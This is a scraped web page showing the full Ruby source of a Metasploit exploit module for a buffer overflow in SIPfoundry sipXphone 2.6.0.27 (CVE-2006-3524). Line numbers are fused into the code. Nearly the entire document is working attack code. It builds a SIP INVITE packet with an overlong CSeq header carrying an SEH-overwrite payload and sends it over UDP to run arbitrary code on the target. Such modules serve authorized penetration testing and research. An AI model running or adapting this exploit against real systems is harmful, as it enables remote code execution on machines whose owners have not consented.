Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/sip/sipxphone_cseq.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in SIPfoundry's16sipXphone 2.6.0.27. By sending an overly long CSeq value,17a remote attacker could overflow a buffer and execute18arbitrary code on the system with the privileges of19the affected application.20},21'Author' => 'MC',22'References' =>23[24[ 'CVE', '2006-3524' ],25[ 'OSVDB', '27122' ],26[ 'BID', '18906' ],27],28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31},32'Payload' =>33{34'Space' => 400,35'BadChars' => "\x00\x0a\x20\x09\x0d",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41[ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],42],43'Privileged' => false,44'DisclosureDate' => '2006-07-10',45'DefaultTarget' => 0))4647register_options(48[49Opt::RPORT(5060)50])51end5253def exploit54connect_udp5556user = rand_text_english(2, payload_badchars)57port = rand(65535).to_s58filler = rand_text_english(212, payload_badchars)59seh = generate_seh_payload(target.ret)60filler[204, seh.length] = seh6162sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"63sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"64sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"65sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"66sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"67sploit << "CSeq: " + filler + "\r\n"68sploit << "Max-Forwards: 20" + "\r\n"69sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"7071print_status("Trying target #{target.name}...")7273udp_sock.put(sploit)7475handler76disconnect_udp7778end79end808182